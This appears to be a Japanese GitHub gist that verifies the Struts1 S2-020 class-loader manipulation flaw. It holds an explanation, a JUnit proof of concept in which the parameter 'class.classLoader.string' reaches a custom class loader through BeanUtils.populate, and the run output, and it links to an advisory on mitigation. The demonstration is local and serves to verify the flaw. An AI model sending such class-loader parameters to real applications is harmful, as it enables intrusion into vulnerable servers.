-
-
Save kawasima/11260616 to your computer and use it in GitHub Desktop.
Struts1脆弱性の検証 [S2-020]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
今回の問題は、StrutsでHttpリクエストパラメータをFormに入れる際に、commons-beanutilsの | |
BeanUtils.populateを使っていることに起因する。 | |
populateの中で使われている、BeanUtils.setPropertyはノーチェックでBeanのプロパティを探すので、 | |
プロパティ名を"class.classLoader.xxx"のように書いておくと、BeanのgetClassをよんで、 | |
ClassオブジェクトのgetClassLoaderをよんで、…と連鎖してクラスローダが取得される。 | |
そしてドットでつないだ最後のプロパティ名で値をセットにいくので、TomcatのWebAppClassLoaderが | |
途中でゲットされてしまうと、Struts2の脆弱性と同じ問題が発生してしまう。 | |
この問題の対策は、http://www.lac.co.jp/security/alert/2014/04/24_alert_01.html に書いてあるとおり。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.apache.commons.beanutils.BeanUtils; | |
import org.junit.Test; | |
import java.net.URLClassLoader; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class BeanUtilsTest { | |
@Test | |
public void test() throws Exception { | |
Map<String, String> params = new HashMap<String, String>(); | |
params.put("class.classLoader.string", "fuge"); | |
TekitoClassLoader cl = new TekitoClassLoader((URLClassLoader)Thread.currentThread().getContextClassLoader()); | |
Object obj = cl.loadClass("HogeBean").newInstance(); | |
BeanUtils.populate(obj, params); | |
} | |
public static class TekitoClassLoader extends URLClassLoader { | |
public TekitoClassLoader(URLClassLoader parent) { | |
super(parent.getURLs()); | |
} | |
// 親より先にロードする。すなわちTomcatのWebAppClassLoaderと同じ | |
@Override | |
protected Class<?> loadClass(String className, boolean resolve) | |
throws ClassNotFoundException { | |
synchronized (getClassLoadingLock(className)) { | |
if (className.startsWith("java.")) { | |
return super.loadClass(className, resolve); | |
} | |
Class<?> clazz = findClass(className); | |
if (clazz == null) { | |
clazz = findLoadedClass(className); | |
try { | |
if (clazz == null) | |
clazz = getParent().loadClass(className); | |
} catch (ClassNotFoundException ex) { | |
} | |
} | |
if (resolve) { | |
resolveClass(clazz); | |
} | |
return clazz; | |
} | |
} | |
public void setString(String s) { | |
System.out.println("セットされてしまった!"); | |
} | |
public String getString() { | |
return "ゲットされてしまった!"; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Hoge { | |
public String getName() { | |
return name; | |
} | |
public void setName(String name) { | |
this.name = name; | |
} | |
private String name; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Connected to the target VM, address: '127.0.0.1:49396', transport: 'socket' | |
セットされてしまった! | |
Disconnected from the target VM, address: '127.0.0.1:49396', transport: 'socket' | |
Process finished with exit code 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment